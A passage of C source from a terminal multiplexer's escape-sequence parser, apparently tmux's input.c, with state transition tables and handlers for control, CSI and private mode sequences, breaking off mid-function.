-1, NULL, NULL } }; /* csi_enter state table. */ static const struct input_transition input_state_csi_enter_table[] = { INPUT_STATE_ANYWHERE, { 0x00, 0x17, input_c0_dispatch, NULL }, { 0x19, 0x19, input_c0_dispatch, NULL }, { 0x1c, 0x1f, input_c0_dispatch, NULL }, { 0x20, 0x2f, input_intermediate, &input_state_csi_intermediate }, { 0x30, 0x39, input_parameter, &input_state_csi_parameter }, { 0x3a, 0x3a, input_parameter, &input_state_csi_parameter }, { 0x3b, 0x3b, input_parameter, &input_state_csi_parameter }, { 0x3c, 0x3f, input_intermediate, &input_state_csi_parameter }, { 0x40, 0x7e, input_csi_dispatch, &input_state_ground }, { 0x7f, 0xff, NULL, NULL }, { -1, -1, NULL, NULL } }; /* csi_parameter state table. */ static const struct input_transition input_state_csi_parameter_table[] = { INPUT_STATE_ANYWHERE, { 0x00, 0x17, input_c0_dispatch, NULL }, { 0x19, 0x19, input_c0_dispatch, NULL }, { 0x1c, 0x1f, input_c0_dispatch, NULL }, { 0x20, 0x2f, input_intermediate, &input_state_csi_intermediate }, { 0x30, 0x39, input_parameter, NULL }, { 0x3a, 0x3a, input_parameter, NULL }, { 0x3b, 0x3b, input_parameter, NULL }, { 0x3c, 0x3f, NULL, &input_state_csi_ignore }, { 0x40, 0x7e, input_csi_dispatch, &input_state_ground }, { 0x7f, 0xff, NULL, NULL }, { -1, -1, NULL, NULL } }; /* csi_intermediate state table. */ static const struct input_transition input_state_csi_intermediate_table[] = { INPUT_STATE_ANYWHERE, { 0x00, 0x17, input_c0_dispatch, NULL }, { 0x19, 0x19, input_c0_dispatch, NULL }, { 0x1c, 0x1f, input_c0_dispatch, NULL }, { 0x20, 0x2f, input_intermediate, NULL }, { 0x30, 0x3f, NULL, &input_state_csi_ignore }, { 0x40, 0x7e, input_csi_dispatch, &input_state_ground }, { 0x7f, 0xff, NULL, NULL }, { -1, -1, NULL, NULL } }; /* csi_ignore state table. */ static const struct input_transition input_state_csi_ignore_table[] = { INPUT_STATE_ANYWHERE, { 0x00, 0x17, input_c0_dispatch, NULL }, { 0x19, 0x19, input_c0_dispatch, NULL }, { 0x1c, 0x1f, input_c0_dispatch, NULL }, { 0x20, 0x3f, NULL, NULL }, { 0x40, 0x7e, NULL, &input_state_ground }, { 0x7f, 0xff, NULL, NULL }, { -1, -1, NULL, NULL } }; /* dcs_enter state table. */ static const struct input_transition input_state_dcs_enter_table[] = { INPUT_STATE_ANYWHERE, { 0x00, 0x17, NULL, NULL }, { 0x19, 0x19, NULL, NULL }, { 0x1c, 0x1f, NULL, NULL }, { 0x20, 0x2f, input_intermediate, &input_state_dcs_intermediate }, { 0x30, 0x39, input_parameter, &input_state_dcs_parameter }, { 0x3a, 0x3a, NULL, &input_state_dcs_ignore }, { 0x3b, 0x3b, input_parameter, &input_state_dcs_parameter }, { 0x3c, 0x3f, input_intermediate, &input_state_dcs_parameter }, { 0x40, 0x7e, input_input, &input_state_dcs_handler }, { 0x7f, 0xff, NULL, NULL }, { -1, -1, NULL, NULL } }; /* dcs_parameter state table. */ static const struct input_transition input_state_dcs_parameter_table[] = { INPUT_STATE_ANYWHERE, { 0x00, 0x17, NULL, NULL }, { 0x19, 0x19, NULL, NULL }, { 0x1c, 0x1f, NULL, NULL }, { 0x20, 0x2f, input_intermediate, &input_state_dcs_intermediate }, { 0x30, 0x39, input_parameter, NULL }, { 0x3a, 0x3a, NULL, &input_state_dcs_ignore }, { 0x3b, 0x3b, input_parameter, NULL }, { 0x3c, 0x3f, NULL, &input_state_dcs_ignore }, { 0x40, 0x7e, input_input, &input_state_dcs_handler }, { 0x7f, 0xff, NULL, NULL }, { -1, -1, NULL, NULL } }; /* dcs_intermediate state table. */ static const struct input_transition input_state_dcs_intermediate_table[] = { INPUT_STATE_ANYWHERE, { 0x00, 0x17, NULL, NULL }, { 0x19, 0x19, NULL, NULL }, { 0x1c, 0x1f, NULL, NULL }, { 0x20, 0x2f, input_intermediate, NULL }, { 0x30, 0x3f, NULL, &input_state_dcs_ignore }, { 0x40, 0x7e, input_input, &input_state_dcs_handler }, { 0x7f, 0xff, NULL, NULL }, { -1, -1, NULL, NULL } }; /* dcs_handler state table. */ static const struct input_transition input_state_dcs_handler_table[] = { /* No INPUT_STATE_ANYWHERE */ { 0x00, 0x1a, input_input, NULL }, { 0x1b, 0x1b, NULL, &input_state_dcs_escape }, { 0x1c, 0xff, input_input, NULL }, { -1, -1, NULL, NULL } }; /* dcs_escape state table. */ static const struct input_transition input_state_dcs_escape_table[] = { /* No INPUT_STATE_ANYWHERE */ { 0x00, 0x5b, input_input, &input_state_dcs_handler }, { 0x5c, 0x5c, input_dcs_dispatch, &input_state_ground }, { 0x5d, 0xff, input_input, &input_state_dcs_handler }, { -1, -1, NULL, NULL } }; /* dcs_ignore state table. */ static const struct input_transition input_state_dcs_ignore_table[] = { INPUT_STATE_ANYWHERE, { 0x00, 0x17, NULL, NULL }, { 0x19, 0x19, NULL, NULL }, { 0x1c, 0x1f, NULL, NULL }, { 0x20, 0xff, NULL, NULL }, { -1, -1, NULL, NULL } }; /* osc_string state table. */ static const struct input_transition input_state_osc_string_table[] = { INPUT_STATE_ANYWHERE, { 0x00, 0x06, NULL, NULL }, { 0x07, 0x07, input_end_bel, &input_state_ground }, { 0x08, 0x17, NULL, NULL }, { 0x19, 0x19, NULL, NULL }, { 0x1c, 0x1f, NULL, NULL }, { 0x20, 0xff, input_input, NULL }, { -1, -1, NULL, NULL } }; /* apc_string state table. */ static const struct input_transition input_state_apc_string_table[] = { INPUT_STATE_ANYWHERE, { 0x00, 0x17, NULL, NULL }, { 0x19, 0x19, NULL, NULL }, { 0x1c, 0x1f, NULL, NULL }, { 0x20, 0xff, input_input, NULL }, { -1, -1, NULL, NULL } }; /* rename_string state table. */ static const struct input_transition input_state_rename_string_table[] = { INPUT_STATE_ANYWHERE, { 0x00, 0x17, NULL, NULL }, { 0x19, 0x19, NULL, NULL }, { 0x1c, 0x1f, NULL, NULL }, { 0x20, 0xff, input_input, NULL }, { -1, -1, NULL, NULL } }; /* consume_st state table. */ static const struct input_transition input_state_consume_st_table[] = { INPUT_STATE_ANYWHERE, { 0x00, 0x17, NULL, NULL }, { 0x19, 0x19, NULL, NULL }, { 0x1c, 0x1f, NULL, NULL }, { 0x20, 0xff, NULL, NULL }, { -1, -1, NULL, NULL } }; /* Input table compare. */ static int input_table_compare(const void *key, const void *value) { const struct input_ctx *ictx = key; const struct input_table_entry *entry = value; if (ictx->ch != entry->ch) return (ictx->ch - entry->ch); return (strcmp(ictx->interm_buf, entry->interm)); } /* * Timer - if this expires then have been waiting for a terminator for too * long, so reset to ground. */ static void input_timer_callback(__unused int fd, __unused short events, void *arg) { struct input_ctx *ictx = arg; log_debug("%s: %s expired" , __func__, ictx->state->name); input_reset(ictx, 0); } /* Start the timer. */ static void input_start_timer(struct input_ctx *ictx) { struct timeval tv = { .tv_sec = 5, .tv_usec = 0 }; event_del(&ictx->timer); event_add(&ictx->timer, &tv); } /* Reset cell state to default. */ static void input_reset_cell(struct input_ctx *ictx) { memcpy(&ictx->cell.cell, &grid_default_cell, sizeof ictx->cell.cell); ictx->cell.set = 0; ictx->cell.g0set = ictx->cell.g1set = 0; memcpy(&ictx->old_cell, &ictx->cell, sizeof ictx->old_cell); ictx->old_cx = 0; ictx->old_cy = 0; } /* Save screen state. */ static void input_save_state(struct input_ctx *ictx) { struct screen_write_ctx *sctx = &ictx->ctx; struct screen *s = sctx->s; memcpy(&ictx->old_cell, &ictx->cell, sizeof ictx->old_cell); ictx->old_cx = s->cx; ictx->old_cy = s->cy; ictx->old_mode = s->mode; } /* Restore screen state. */ static void input_restore_state(struct input_ctx *ictx) { struct screen_write_ctx *sctx = &ictx->ctx; memcpy(&ictx->cell, &ictx->old_cell, sizeof ictx->cell); if (ictx->old_mode & MODE_ORIGIN) screen_write_mode_set(sctx, MODE_ORIGIN); else screen_write_mode_clear(sctx, MODE_ORIGIN); screen_write_cursormove(sctx, ictx->old_cx, ictx->old_cy, 0); } /* Initialise input parser. */ struct input_ctx * input_init(struct window_pane *wp, struct bufferevent *bev) { struct input_ctx *ictx; ictx = xcalloc(1, sizeof *ictx); ictx->wp = wp; ictx->event = bev; ictx->input_space = INPUT_BUF_START; ictx->input_buf = xmalloc(INPUT_BUF_START); ictx->since_ground = evbuffer_new(); if (ictx->since_ground == NULL) fatalx("out of memory"); evtimer_set(&ictx->timer, input_timer_callback, ictx); input_reset(ictx, 0); return (ictx); } /* Destroy input parser. */ void input_free(struct input_ctx *ictx) { u_int i; for (i = 0; i < ictx->param_list_len; i++) { if (ictx->param_list[i].type == INPUT_STRING) free(ictx->param_list[i].str); } event_del(&ictx->timer); free(ictx->input_buf); evbuffer_free(ictx->since_ground); free(ictx); } /* Reset input state and clear screen. */ void input_reset(struct input_ctx *ictx, int clear) { struct screen_write_ctx *sctx = &ictx->ctx; struct window_pane *wp = ictx->wp; input_reset_cell(ictx); if (clear && wp != NULL) { if (TAILQ_EMPTY(&wp->modes)) screen_write_start_pane(sctx, wp, &wp->base); else screen_write_start(sctx, &wp->base); screen_write_reset(sctx); screen_write_stop(sctx); } input_clear(ictx); ictx->last = -1; ictx->state = &input_state_ground; ictx->flags = 0; } /* Return pending data. */ struct evbuffer * input_pending(struct input_ctx *ictx) { return (ictx->since_ground); } /* Change input state. */ static void input_set_state(struct input_ctx *ictx, const struct input_transition *itr) { if (ictx->state->exit != NULL) ictx->state->exit(ictx); ictx->state = itr->state; if (ictx->state->enter != NULL) ictx->state->enter(ictx); } /* Parse data. */ static void input_parse(struct input_ctx *ictx, u_char *buf, size_t len) { struct screen_write_ctx *sctx = &ictx->ctx; const struct input_state *state = NULL; const struct input_transition *itr = NULL; size_t off = 0; /* Parse the input. */ while (off < len) { ictx->ch = buf[off++]; /* Find the transition. */ if (ictx->state != state || itr == NULL || ictx->ch < itr->first || ictx->ch > itr->last) { itr = ictx->state->transitions; while (itr->first != -1 && itr->last != -1) { if (ictx->ch >= itr->first && ictx->ch <= itr->last) break; itr++; } if (itr->first == -1 || itr->last == -1) { /* No transition? Eh? */ fatalx("no transition from state"); } } state = ictx->state; /* * Any state except print stops the current collection. This is * an optimization to avoid checking if the attributes have * changed for every character. It will stop unnecessarily for * sequences that don't make a terminal change, but they should * be the minority. */ if (itr->handler != input_print) screen_write_collect_end(sctx); /* * Execute the handler, if any. Don't switch state if it * returns non-zero. */ if (itr->handler != NULL && itr->handler(ictx) != 0) continue; /* And switch state, if necessary. */ if (itr->state != NULL) input_set_state(ictx, itr); /* If not in ground state, save input. */ if (ictx->state != &input_state_ground) evbuffer_add(ictx->since_ground, &ictx->ch, 1); } } /* Parse input from pane. */ void input_parse_pane(struct window_pane *wp) { void *new_data; size_t new_size; new_data = window_pane_get_new_data(wp, &wp->offset, &new_size); input_parse_buffer(wp, new_data, new_size); window_pane_update_used_data(wp, &wp->offset, new_size); } /* Parse given input. */ void input_parse_buffer(struct window_pane *wp, u_char *buf, size_t len) { struct input_ctx *ictx = wp->ictx; struct screen_write_ctx *sctx = &ictx->ctx; if (len == 0) return; window_update_activity(wp->window); wp->flags |= PANE_CHANGED; /* NULL wp if there is a mode set as don't want to update the tty. */ if (TAILQ_EMPTY(&wp->modes)) screen_write_start_pane(sctx, wp, &wp->base); else screen_write_start(sctx, &wp->base); log_debug("%s: %%%u %s, %zu bytes: %.*s", __func__, wp->id, ictx->state->name, len, (int)len, buf); input_parse(ictx, buf, len); screen_write_stop(sctx); } /* Parse given input for screen. */ void input_parse_screen(struct input_ctx *ictx, struct screen *s, screen_write_init_ctx_cb cb, void *arg, u_char *buf, size_t len) { struct screen_write_ctx *sctx = &ictx->ctx; if (len == 0) return; screen_write_start_callback(sctx, s, cb, arg); input_parse(ictx, buf, len); screen_write_stop(sctx); } /* Split the parameter list (if any). */ static int input_split(struct input_ctx *ictx) { const char *errstr; char *ptr, *out; struct input_param *ip; u_int i; for (i = 0; i < ictx->param_list_len; i++) { if (ictx->param_list[i].type == INPUT_STRING) free(ictx->param_list[i].str); } ictx->param_list_len = 0; if (ictx->param_len == 0) return (0); ip = &ictx->param_list[0]; ptr = ictx->param_buf; while ((out = strsep(&ptr, ";")) != NULL) { if (*out == '\0') ip->type = INPUT_MISSING; else { if (strchr(out, ':') != NULL) { ip->type = INPUT_STRING; ip->str = xstrdup(out); } else { ip->type = INPUT_NUMBER; ip->num = strtonum(out, 0, INT_MAX, &errstr); if (errstr != NULL) return (-1); } } ip = &ictx->param_list[++ictx->param_list_len]; if (ictx->param_list_len == nitems(ictx->param_list)) return (-1); } for (i = 0; i < ictx->param_list_len; i++) { ip = &ictx->param_list[i]; if (ip->type == INPUT_MISSING) log_debug("parameter %u: missing", i); else if (ip->type == INPUT_STRING) log_debug("parameter %u: string %s", i, ip->str); else if (ip->type == INPUT_NUMBER) log_debug("parameter %u: number %d", i, ip->num); } return (0); } /* Get an argument or return default value. */ static int input_get(struct input_ctx *ictx, u_int validx, int minval, int defval) { struct input_param *ip; int retval; if (validx >= ictx->param_list_len) return (defval); ip = &ictx->param_list[validx]; if (ip->type == INPUT_MISSING) return (defval); if (ip->type == INPUT_STRING) return (-1); retval = ip->num; if (retval < minval) return (minval); return (retval); } /* Reply to terminal query. */ static void input_reply(struct input_ctx *ictx, const char *fmt, ...) { struct bufferevent *bev = ictx->event; va_list ap; char *reply; va_start(ap, fmt); xvasprintf(&reply, fmt, ap); va_end(ap); bufferevent_write(bev, reply, strlen(reply)); free(reply); } /* Clear saved state. */ static void input_clear(struct input_ctx *ictx) { event_del(&ictx->timer); *ictx->interm_buf = '\0'; ictx->interm_len = 0; *ictx->param_buf = '\0'; ictx->param_len = 0; *ictx->input_buf = '\0'; ictx->input_len = 0; ictx->input_end = INPUT_END_ST; ictx->flags &= ~INPUT_DISCARD; } /* Reset for ground state. */ static void input_ground(struct input_ctx *ictx) { event_del(&ictx->timer); evbuffer_drain(ictx->since_ground, EVBUFFER_LENGTH(ictx->since_ground)); if (ictx->input_space > INPUT_BUF_START) { ictx->input_space = INPUT_BUF_START; ictx->input_buf = xrealloc(ictx->input_buf, INPUT_BUF_START); } } /* Output this character to the screen. */ static int input_print(struct input_ctx *ictx) { struct screen_write_ctx *sctx = &ictx->ctx; int set; ictx->utf8started = 0; /* can't be valid UTF-8 */ set = ictx->cell.set == 0 ? ictx->cell.g0set : ictx->cell.g1set; if (set == 1) ictx->cell.cell.attr |= GRID_ATTR_CHARSET; else ictx->cell.cell.attr &= ~GRID_ATTR_CHARSET; utf8_set(&ictx->cell.cell.data, ictx->ch); screen_write_collect_add(sctx, &ictx->cell.cell); ictx->last = ictx->ch; ictx->cell.cell.attr &= ~GRID_ATTR_CHARSET; return (0); } /* Collect intermediate string. */ static int input_intermediate(struct input_ctx *ictx) { if (ictx->interm_len == (sizeof ictx->interm_buf) - 1) ictx->flags |= INPUT_DISCARD; else { ictx->interm_buf[ictx->interm_len++] = ictx->ch; ictx->interm_buf[ictx->interm_len] = '\0'; } return (0); } /* Collect parameter string. */ static int input_parameter(struct input_ctx *ictx) { if (ictx->param_len == (sizeof ictx->param_buf) - 1) ictx->flags |= INPUT_DISCARD; else { ictx->param_buf[ictx->param_len++] = ictx->ch; ictx->param_buf[ictx->param_len] = '\0'; } return (0); } /* Collect input string. */ static int input_input(struct input_ctx *ictx) { size_t available; available = ictx->input_space; while (ictx->input_len + 1 >= available) { available *= 2; if (available > INPUT_BUF_LIMIT) { ictx->flags |= INPUT_DISCARD; return (0); } ictx->input_buf = xrealloc(ictx->input_buf, available); ictx->input_space = available; } ictx->input_buf[ictx->input_len++] = ictx->ch; ictx->input_buf[ictx->input_len] = '\0'; return (0); } /* Execute C0 control sequence. */ static int input_c0_dispatch(struct input_ctx *ictx) { struct screen_write_ctx *sctx = &ictx->ctx; struct window_pane *wp = ictx->wp; struct screen *s = sctx->s; ictx->utf8started = 0; /* can't be valid UTF-8 */ log_debug("%s: '%c'", __func__, ictx->ch); switch (ictx->ch) { case '\000': /* NUL */ break; case '\007': /* BEL */ if (wp != NULL) alerts_queue(wp->window, WINDOW_BELL); break; case '\010': /* BS */ screen_write_backspace(sctx); break; case '\011': /* HT */ /* Don't tab beyond the end of the line. */ if (s->cx >= screen_size_x(s) - 1) break; /* Find the next tab point, or use the last column if none. */ do { s->cx++; if (bit_test(s->tabs, s->cx)) break; } while (s->cx < screen_size_x(s) - 1); break; case '\012': /* LF */ case '\013': /* VT */ case '\014': /* FF */ screen_write_linefeed(sctx, 0, ictx->cell.cell.bg); if (s->mode & MODE_CRLF) screen_write_carriagereturn(sctx); break; case '\015': /* CR */ screen_write_carriagereturn(sctx); break; case '\016': /* SO */ ictx->cell.set = 1; break; case '\017': /* SI */ ictx->cell.set = 0; break; default: log_debug("%s: unknown '%c'", __func__, ictx->ch); break; } ictx->last = -1; return (0); } /* Execute escape sequence. */ static int input_esc_dispatch(struct input_ctx *ictx) { struct screen_write_ctx *sctx = &ictx->ctx; struct window_pane *wp = ictx->wp; struct screen *s = sctx->s; struct input_table_entry *entry; if (ictx->flags & INPUT_DISCARD) return (0); log_debug("%s: '%c', %s", __func__, ictx->ch, ictx->interm_buf); entry = bsearch(ictx, input_esc_table, nitems(input_esc_table), sizeof input_esc_table[0], input_table_compare); if (entry == NULL) { log_debug("%s: unknown '%c'", __func__, ictx->ch); return (0); } switch (entry->type) { case INPUT_ESC_RIS: if (wp != NULL) window_pane_reset_palette(wp); input_reset_cell(ictx); screen_write_reset(sctx); break; case INPUT_ESC_IND: screen_write_linefeed(sctx, 0, ictx->cell.cell.bg); break; case INPUT_ESC_NEL: screen_write_carriagereturn(sctx); screen_write_linefeed(sctx, 0, ictx->cell.cell.bg); break; case INPUT_ESC_HTS: if (s->cx < screen_size_x(s)) bit_set(s->tabs, s->cx); break; case INPUT_ESC_RI: screen_write_reverseindex(sctx, ictx->cell.cell.bg); break; case INPUT_ESC_DECKPAM: screen_write_mode_set(sctx, MODE_KKEYPAD); break; case INPUT_ESC_DECKPNM: screen_write_mode_clear(sctx, MODE_KKEYPAD); break; case INPUT_ESC_DECSC: input_save_state(ictx); break; case INPUT_ESC_DECRC: input_restore_state(ictx); break; case INPUT_ESC_DECALN: screen_write_alignmenttest(sctx); break; case INPUT_ESC_SCSG0_ON: ictx->cell.g0set = 1; break; case INPUT_ESC_SCSG0_OFF: ictx->cell.g0set = 0; break; case INPUT_ESC_SCSG1_ON: ictx->cell.g1set = 1; break; case INPUT_ESC_SCSG1_OFF: ictx->cell.g1set = 0; break; case INPUT_ESC_ST: /* ST terminates OSC but the state transition already did it. */ break; } ictx->last = -1; return (0); } /* Execute control sequence. */ static int input_csi_dispatch(struct input_ctx *ictx) { struct screen_write_ctx *sctx = &ictx->ctx; struct screen *s = sctx->s; struct input_table_entry *entry; int i, n, m; u_int cx, bg = ictx->cell.cell.bg; if (ictx->flags & INPUT_DISCARD) return (0); log_debug("%s: '%c' \"%s\" \"%s\"", __func__, ictx->ch, ictx->interm_buf, ictx->param_buf); if (input_split(ictx) != 0) return (0); entry = bsearch(ictx, input_csi_table, nitems(input_csi_table), sizeof input_csi_table[0], input_table_compare); if (entry == NULL) { log_debug("%s: unknown '%c'", __func__, ictx->ch); return (0); } switch (entry->type) { case INPUT_CSI_CBT: /* Find the previous tab point, n times. */ cx = s->cx; if (cx > screen_size_x(s) - 1) cx = screen_size_x(s) - 1; n = input_get(ictx, 0, 1, 1); if (n == -1) break; while (cx > 0 && n-- > 0) { do cx--; while (cx > 0 && !bit_test(s->tabs, cx)); } s->cx = cx; break; case INPUT_CSI_CUB: n = input_get(ictx, 0, 1, 1); if (n != -1) screen_write_cursorleft(sctx, n); break; case INPUT_CSI_CUD: n = input_get(ictx, 0, 1, 1); if (n != -1) screen_write_cursordown(sctx, n); break; case INPUT_CSI_CUF: n = input_get(ictx, 0, 1, 1); if (n != -1) screen_write_cursorright(sctx, n); break; case INPUT_CSI_CUP: n = input_get(ictx, 0, 1, 1); m = input_get(ictx, 1, 1, 1); if (n != -1 && m != -1) screen_write_cursormove(sctx, m - 1, n - 1, 1); break; case INPUT_CSI_MODSET: n = input_get(ictx, 0, 0, 0); m = input_get(ictx, 1, 0, 0); if (n == 0 || (n == 4 && m == 0)) screen_write_mode_clear(sctx, MODE_KEXTENDED); else if (n == 4 && (m == 1 || m == 2)) screen_write_mode_set(sctx, MODE_KEXTENDED); break; case INPUT_CSI_MODOFF: n = input_get(ictx, 0, 0, 0); if (n == 4) screen_write_mode_clear(sctx, MODE_KEXTENDED); break; case INPUT_CSI_WINOPS: input_csi_dispatch_winops(ictx); break; case INPUT_CSI_CUU: n = input_get(ictx, 0, 1, 1); if (n != -1) screen_write_cursorup(sctx, n); break; case INPUT_CSI_CNL: n = input_get(ictx, 0, 1, 1); if (n != -1) { screen_write_carriagereturn(sctx); screen_write_cursordown(sctx, n); } break; case INPUT_CSI_CPL: n = input_get(ictx, 0, 1, 1); if (n != -1) { screen_write_carriagereturn(sctx); screen_write_cursorup(sctx, n); } break; case INPUT_CSI_DA: switch (input_get(ictx, 0, 0, 0)) { case -1: break; case 0: input_reply(ictx, "\033[?1;2c"); break; default: log_debug("%s: unknown '%c'", __func__, ictx->ch); break; } break; case INPUT_CSI_DA_TWO: switch (input_get(ictx, 0, 0, 0)) { case -1: break; case 0: input_reply(ictx, "\033[>84;0;0c"); break; default: log_debug("%s: unknown '%c'", __func__, ictx->ch); break; } break; case INPUT_CSI_ECH: n = input_get(ictx, 0, 1, 1); if (n != -1) screen_write_clearcharacter(sctx, n, bg); break; case INPUT_CSI_DCH: n = input_get(ictx, 0, 1, 1); if (n != -1) screen_write_deletecharacter(sctx, n, bg); break; case INPUT_CSI_DECSTBM: n = input_get(ictx, 0, 1, 1); m = input_get(ictx, 1, 1, screen_size_y(s)); if (n != -1 && m != -1) screen_write_scrollregion(sctx, n - 1, m - 1); break; case INPUT_CSI_DL: n = input_get(ictx, 0, 1, 1); if (n != -1) screen_write_deleteline(sctx, n, bg); break; case INPUT_CSI_DSR: switch (input_get(ictx, 0, 0, 0)) { case -1: break; case 5: input_reply(ictx, "\033[0n"); break; case 6: input_reply(ictx, "\033[%u;%uR", s->cy + 1, s->cx + 1); break; default: log_debug("%s: unknown '%c'", __func__, ictx->ch); break; } break; case INPUT_CSI_ED: switch (input_get(ictx, 0, 0, 0)) { case -1: break; case 0: screen_write_clearendofscreen(sctx, bg); break; case 1: screen_write_clearstartofscreen(sctx, bg); break; case 2: screen_write_clearscreen(sctx, bg); break; case 3: if (input_get(ictx, 1, 0, 0) == 0) { /* * Linux console extension to clear history * (for example before locking the screen). */ screen_write_clearhistory(sctx); } break; default: log_debug("%s: unknown '%c'", __func__, ictx->ch); break; } break; case INPUT_CSI_EL: switch (input_get(ictx, 0, 0, 0)) { case -1: break; case 0: screen_write_clearendofline(sctx, bg); break; case 1: screen_write_clearstartofline(sctx, bg); break; case 2: screen_write_clearline(sctx, bg); break; default: log_debug("%s: unknown '%c'", __func__, ictx->ch); break; } break; case INPUT_CSI_HPA: n = input_get(ictx, 0, 1, 1); if (n != -1) screen_write_cursormove(sctx, n - 1, -1, 1); break; case INPUT_CSI_ICH: n = input_get(ictx, 0, 1, 1); if (n != -1) screen_write_insertcharacter(sctx, n, bg); break; case INPUT_CSI_IL: n = input_get(ictx, 0, 1, 1); if (n != -1) screen_write_insertline(sctx, n, bg); break; case INPUT_CSI_REP: n = input_get(ictx, 0, 1, 1); if (n == -1) break; if (ictx->last == -1) break; ictx->ch = ictx->last; for (i = 0; i < n; i++) input_print(ictx); break; case INPUT_CSI_RCP: input_restore_state(ictx); break; case INPUT_CSI_RM: input_csi_dispatch_rm(ictx); break; case INPUT_CSI_RM_PRIVATE: input_csi_dispatch_rm_private(ictx); break; case INPUT_CSI_SCP: input_save_state(ictx); break; case INPUT_CSI_SGR: input_csi_dispatch_sgr(ictx); break; case INPUT_CSI_SM: input_csi_dispatch_sm(ictx); break; case INPUT_CSI_SM_PRIVATE: input_csi_dispatch_sm_private(ictx); break; case INPUT_CSI_SU: n = input_get(ictx, 0, 1, 1); if (n != -1) screen_write_scrollup(sctx, n, bg); break; case INPUT_CSI_SD: n = input_get(ictx, 0, 1, 1); if (n != -1) screen_write_scrolldown(sctx, n, bg); break; case INPUT_CSI_TBC: switch (input_get(ictx, 0, 0, 0)) { case -1: break; case 0: if (s->cx < screen_size_x(s)) bit_clear(s->tabs, s->cx); break; case 3: bit_nclear(s->tabs, 0, screen_size_x(s) - 1); break; default: log_debug("%s: unknown '%c'", __func__, ictx->ch); break; } break; case INPUT_CSI_VPA: n = input_get(ictx, 0, 1, 1); if (n != -1) screen_write_cursormove(sctx, -1, n - 1, 1); break; case INPUT_CSI_DECSCUSR: n = input_get(ictx, 0, 0, 0); if (n != -1) screen_set_cursor_style(s, n); break; case INPUT_CSI_XDA: n = input_get(ictx, 0, 0, 0); if (n == 0) input_reply(ictx, "\033P>|tmux %s\033\\", getversion()); break; } ictx->last = -1; return (0); } /* Handle CSI RM. */ static void input_csi_dispatch_rm(struct input_ctx *ictx) { struct screen_write_ctx *sctx = &ictx->ctx; u_int i; for (i = 0; i < ictx->param_list_len; i++) { switch (input_get(ictx, i, 0, -1)) { case -1: break; case 4: /* IRM */ screen_write_mode_clear(sctx, MODE_INSERT); break; case 34: screen_write_mode_set(sctx, MODE_BLINKING); break; default: log_debug("%s: unknown '%c'", __func__, ictx->ch); break; } } } /* Handle CSI private RM. */ static void input_csi_dispatch_rm_private(struct input_ctx *ictx) { struct screen_write_ctx *sctx = &ictx->ctx; struct grid_cell *gc = &ictx->cell.cell; u_int i; for (i = 0; i < ictx->param_list_len; i++) { switch (input_get(ictx, i, 0, -1)) { case -1: break; case 1: /* DECCKM */ screen_write_mode_clear(sctx, MODE_KCURSOR); break; case 3: /* DECCOLM */ screen_write_cursormove(sctx, 0, 0, 1); screen_write_clearscreen(sctx, gc->bg); break; case 6: /* DECOM */ screen_write_mode_clear(sctx, MODE_ORIGIN); screen_write_cursormove(sctx, 0, 0, 1); break; case 7: /* DECAWM */ screen_write_mode_clear(sctx, MODE_WRAP); break; case 12: screen_write_mode_clear(sctx, MODE_BLINKING); break; case 25: /* TCEM */ screen_write_mode_clear(sctx, MODE_CURSOR); break; case 1000: case 1001: case 1002: case 1003: screen_write_mode_clear(sctx, ALL_MOUSE_MODES); break; case 1004: screen_write_mode_clear(sctx, MODE_FOCUSON); break; case 1005: screen_write_mode_clear(sctx, MODE_MOUSE_UTF8); break; case 1006: screen_write_mode_clear(sctx, MODE_MOUSE_SGR); break; case 47: case 1047: screen_write_alternateoff(sctx, gc, 0); break; case 1049: screen_write_alternateoff(sctx, gc, 1); break; case 2004: screen_write_mode_clear(sctx, MODE_BRACKETPASTE); break; default: log_debug("%s: unknown '%c'", __func__, ictx->ch); break; } } } /* Handle CSI SM. */ static void input_csi_dispatch_sm(struct input_ctx *ictx) { struct screen_write_ctx *sctx = &ictx->ctx; u_int i; for (i = 0; i < ictx->param_list_len; i++) { switch (input_get(ictx, i, 0, -1)) { case -1: break; case 4: /* IRM */ screen_write_mode_set(sctx, MODE_INSERT); break; case 34: screen_write_mode_clear(sctx, MODE_BLINKING); break; default: log_debug("%s: unknown '%c'", __func__, ictx->ch); break; } } } /* Handle CSI private SM. */ static void input_csi_dispatch_sm_private(struct input_ctx *ictx) { struct screen_write_ctx *sctx = &ictx->ctx; struct window_pane *wp = ictx->wp; struct grid_cell *gc = &ictx->cell.cell; u_int i; for (i = 0; i < ictx->param_list_len; i++) { switch (input_get(ictx, i, 0, -1)) { case -1: break; case 1: /* DECCKM */ screen_write_mode_set(sctx, MODE_KCURSOR); break; case 3: /* DECCOLM */ screen_write_cursormove(sctx, 0, 0, 1); screen_write_clearscreen(sctx, ictx->cell.cell.bg); break; case 6: /* DECOM */ screen_write_mode_set(sctx, MODE_ORIGIN); screen_write_cursormove(sctx, 0, 0, 1); break; case 7: /* DECAWM */ screen_write_mode_set(sctx, MODE_WRAP); break; case 12: screen_write_mode_set(sctx, MODE_BLINKING); break; case 25: /* TCEM */ screen_write_mode_set(sctx, MODE_CURSOR); break; case 1000: screen_write_mode_clear(sctx, ALL_MOUSE_MODES); screen_write_mode_set(sctx, MODE_MOUSE_STANDARD); break; case 1002: screen_write_mode_clear(sctx, ALL_MOUSE_MODES); screen_write_mode_set(sctx, MODE_MOUSE_BUTTON); break; case 1003: screen_write_mode_clear(sctx, ALL_MOUSE_MODES); screen_write_mode_set(sctx, MODE_MOUSE_ALL); break; case 1004: if (sctx->s->mode & MODE_FOCUSON) break; screen_write_mode_set(sctx, MODE_FOCUSON); if (wp != NULL) wp->flags |= PANE_FOCUSPUSH; /* force update */ break; case 1005: screen_write_mode_set(sctx, MODE_MOUSE_UTF8); break; case 1006: screen_write_mode_set(sctx, MODE_MOUSE_SGR); break; case 47: case 1047: screen_write_alternateon(sctx, gc, 0); break; case 1049: screen_write_alternateon(sctx, gc, 1); break; case 2004: screen_write_mode_set(sctx, MODE_BRACKETPASTE); break; default: log_debug("%s: unknown '%c'", __func__, ictx->ch); break; } } } /* Handle CSI window operations. */ static void input_csi_dispatch_winops(struct input_ctx *ictx) { struct screen_write_ctx *sctx = &ictx->ctx; struct screen *s = sctx->s; struct window_pane *wp = ictx->wp; u_int x = screen_size_x(s), y = screen_size_y(s); int n, m; m = 0; while ((n = input_get(ictx, m, 0, -1)) != -1) { switch (n) { case 1: case 2: case 5: case 6: case 7: case 11: case 13: case 14: case 19: case 20: case 21: case 24: break; case 3: case 4: case 8: m++; if (input_get(ictx, m, 0, -1) == -1) return; /* FALLTHROUGH */ case 9: case 10: m++; if (input_get(ictx, m, 0, -1) == -1) return; break; case 